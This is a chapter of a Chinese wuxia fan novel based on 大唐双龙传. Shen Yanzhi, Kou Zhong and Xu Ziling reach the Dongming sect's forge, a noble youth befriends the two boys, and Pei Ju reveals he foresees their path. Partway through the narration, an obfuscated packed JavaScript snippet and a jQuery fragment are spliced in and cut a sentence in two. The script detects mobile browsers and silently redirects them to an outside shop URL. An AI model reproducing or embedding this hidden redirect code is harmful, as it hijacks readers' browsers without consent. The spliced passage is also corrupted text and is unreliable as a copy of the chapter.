第二章龙章凤姿士,才华自天纵
沈砚之与寇仲、徐子陵三人戴上人皮面具,改换寻常装束,一路往东南沿海而行,直奔东溟派铸造重地。三人本想低调赶路,不沾是非,可偏偏事与愿违,仿佛有无形之手,将一桩桩风波推到眼前。
行至淮南官道,沿途流民骤增,哭喊声、兵戈声遥遥传来。三人绕道山林,竟撞见瓦岗军与隋军主力死战,烟尘蔽日,杀声震天。
隋军阵中,一员黑甲大将持枪冲杀,悍勇无匹,正是大隋猛将须陀罗,所到之处瓦岗士卒纷纷溃退;瓦岗军里,俏军师沈落雁轻摇羽扇调度奇兵,几番反扑险些冲散隋军方阵,扇尖起落间,尽是杀伐暗藏。
兵刃交击近在咫尺,流矢破空而来。沈砚之眉头一蹙,拉着二人伏低身形,借密林掩护悄然绕开。寇仲探头看得心潮澎湃,低声道:“瓦岗这女军师好厉害!”徐子陵亦轻声道:“两军厮杀,苦的终究是百姓。”
沈砚之没有答话,只心底泛起一股难以言说的怪异。
再行数日,抵达沿海渡口,又撞见海沙帮与巨鲲帮船队在江面列阵对峙,箭雨纷飞,战船冲撞,喊杀声震彻水面。两帮争夺的正是私盐航路与沿岸盐仓,江滩上散落着破损盐袋,血腥味混着海风扑面而来。
寇仲眼睛一亮,拉了拉徐子陵:“沈大哥教过咱们食盐提纯之法,这私盐利润极大,我们混进去看看门道!”
两人少年心性,又懂其中关键,当即换上破旧衣衫,混入岸边乱民之中,趁乱摸进海沙帮一处盐仓,将仓中布置、守卫轮换与转运路线暗暗记下,并未动手生事,不多时便悄然退回沈砚之身边。
沈砚之看着两人,眉头越锁越紧。
他们一路低调蒙面、不主动惹事,可先是撞上瓦岗与隋军死战,后又遇海滨两大帮派火并,所过之处风波不断,竟无半刻安稳。
他忽然心头一动,生出一股荒诞的熟悉感——这情形,竟与他从前在书中所见的主角如出一辙:不去找事,可事总会一件件找上门来。
“别再四处闲逛看热闹了。”沈砚之语气沉了几分,带着不容置喙的坚定,“从现在起,直奔东溟派,不许停留,不许多管闲事。”
寇仲与徐子陵见他神色严肃,不敢再顽劣,齐齐点头:“听沈大哥的。”
三人不再绕道耽搁,昼夜兼程,数日后终于抵达东溟派设在海边的铸造据点——一座依峭壁而建的巨型船坞,旗帜上绣着“东溟”二字,守卫森严,匠人往来,处处透着精锐气象。
沈砚之不愿再卷入纷争,便让二人自行前往挑选兵器,自己在附近客栈静候,只反复叮嘱万事忍让。
坞外待客之处,东溟派弟子态度冷淡,只认金银与订单,不问来人身份。
寇仲上前拱手,朗声道:“我二人想定制两把趁手兵器,并非寻常凡品,要按我们的身形、功法量身打造。”
值守弟子上下打量二人,见他们衣着普通、面容平凡(带了人皮面具),全无世家气派,当即嗤笑一声,满脸不屑:“定制?东溟定制兵器,只接门阀与义军大将的订单,你们两个无名小子,也配开口?买两把现成的就算给面子了,再啰嗦,连门都不让进!”
这番轻蔑嘲讽,瞬间点燃寇仲心头怒火。
这些日子他内功大进,又得沈砚之亲传刀法,心气本就高涨,哪里受得了这般轻视?当即怒喝一声:“狗眼看人低!今日我还非要定制不可!”
话音未落,寇仲已然出手,拳风凌厉,直逼那值守弟子面门。徐子陵见状也纵身而上,两人一攻一防,配合默契,转瞬便与东溟派弟子缠斗起来。
他们身手早已今非昔比,拳势凌厉,不过数招便将几名值守弟子逼得节节败退。动静一闹开,大批东溟派弟子立刻围拢过来,剑拔弩张,眼看就要酿成大祸。
便在此时,一阵沉稳的脚步声传来,一行人簇拥着一位锦衣公子缓步而至。
来人是位比寇仲、徐子陵年长少许的青年,方面大耳,形相威武,眼如点漆、奕奕有神,此刻傲然卓立、意态自若,一派渊渟岳峙的气度,令人心折。①
他出身顶级世家门阀,此次前来东溟派,本是代表家族与东溟夫人商谈军械购置事宜。只因家族仍是大隋忠臣,不便公开置办重兵,以免遭政敌构陷,故而化名隐秘而来。
锦衣公子目光扫过场中缠斗的二人,眼中骤然一亮,心底暗生惊涛:
这两个少年年纪轻轻,内功根基却如此扎实,拳路灵动、步法沉稳、配合无间,更难得临敌不乱、心性坚韧,分明是百年难遇的璞玉良才!如能收归麾下,日后必成左膀右臂,眼下四方纷乱、正是用人之际,这般人物,绝不能错过。
求贤若渴之心顿起,他当即上前一步,声音清朗沉稳,自有一股不容抗拒的力量:“诸位住手!刀剑无眼,有话尽可直言,何必伤了和气?”
围拢的东溟派弟子识得来人身份不凡,下意识收势停手。
锦衣公子缓步走到寇仲、徐子陵面前,神色谦和,全无半分世家子弟的骄矜,拱手笑道:“两位兄弟身手超凡、气度不凡,何必与门下弟子一般见识?东溟派规矩虽严,却也并非不通情理,不妨由我做个中人,代为说项如何?”
寇仲与徐子陵见他谈吐得体、毫无傲慢之色,对他们也尊重有加,心中好感顿生,火气也消了大半。
“既然公子开口,我们便给这个面子。”寇仲抱拳道。
锦衣公子笑着拱手,转身与东溟派管事低声交涉。他是东溟夫人的贵客,手腕又极为圆滑,三言两语便化解双方冲突,还替二人争取到定制兵器的资格,只需稍候几日,便可按二人功法身形量身打造。
危机一解,三人相视而笑,索性移步附近茶肆落座。
锦衣公子谈吐不凡,对天下大势、江湖门派、兵法武理皆有独到见解,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487330|202084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
言语间不显锋芒,却处处透着远见卓识。他刻意放低姿态,耐心倾听寇仲、徐子陵的言论,时不时点头赞许、巧妙点拨,既让二人觉得被尊重,又在无形中展露自己的见识。
言谈间,他只以游历世家子弟自居,绝口不提真实身份,相交坦荡自然。寇仲、徐子陵只当遇上一位志同道合、明事理的世家良友,心中敬佩不已,三人越聊越投机,大有相见恨晚之意。
与此同时,客栈之内。
沈砚之静靠窗侧,指尖轻叩桌面,他并不知道寇仲、徐子陵已与人动手、还结识了新友,只一心觉得这一路发生的事情太过反常。
不止这一路,从离开扬州开始,寻常人一生难得遇上一两件的朝廷追杀、江湖风波、战场厮杀、帮派火并,却接二连三撞在他们身上,一桩连着一桩,没完没了。
他心中微动,抬眼望向门口,淡淡开口:“不必藏着了,出来吧。”
房门被轻轻推开,一道温润儒雅的身影缓步走入,青衫一尘不染,眉眼从容淡定。
正是裴矩。
或是说,邪王石之轩。
裴矩从没想过瞒过沈砚之的感知,十分淡定地招呼道:“沈先生,又见面了。”
沈砚之抬眸,神色平静无波:“裴大人真是厉害,我走到哪,你的人就能跟到哪。”
裴矩微微一笑,自然在他对面落座,语气悠然:“沈先生误会了,裴某并没有派人跟着你,此次我们相见,完全是凑巧。”
沈砚之淡淡挑眉:“凑巧?那还真是好巧。”
裴矩笑道:“好吧,看来什么都瞒不过先生。那裴某就实话实说了。我有事想寻先生,但先生踪迹难测,我那些手下根本捕捉不到你的方位。我不得已在先生可能途经的几处关键之地布下暗桩,一有发现立刻传书于我,才能在此处与先生重逢。”
沈砚之皱眉问道:“我可能去的地方?你怎么知道我要去何处?”
裴矩笑容不变,缓缓道:“我无法预知先生会去往何处,但我能预知寇仲、徐子陵会去往何处。”
裴矩嘴上说得信誓旦旦,其实心中并无十足把握。按他得到的未来记忆,寇仲、徐子陵会先遇杜伏威,再卷入海沙帮、巨鲲帮的私盐纷争,继而与沈落雁打交道,最终前往东溟派附近打探账簿机密。但他得到记忆后,改变了不少事情,寇仲、徐子陵身边又跟着沈砚之,未来会如何发展,裴矩心中也不能尽知。派出去的人找不到沈砚之的踪迹后,他只能耗费大量人力,试探性地在这几处关键地点布控等候,没想到真的等到了三人踪迹。
裴矩此时心中却五味杂陈,一边为终于能用此法找到沈砚之而欣喜,一边又心头沉重——即便多了这么多变数,双龙依旧走到了既定的关键节点。一瞬间让裴矩对未来是否可改充满了疑虑。
沈砚之听到裴矩能预知寇仲和徐子陵的行程,顿时站起身,神色一凛:“你什么意思?”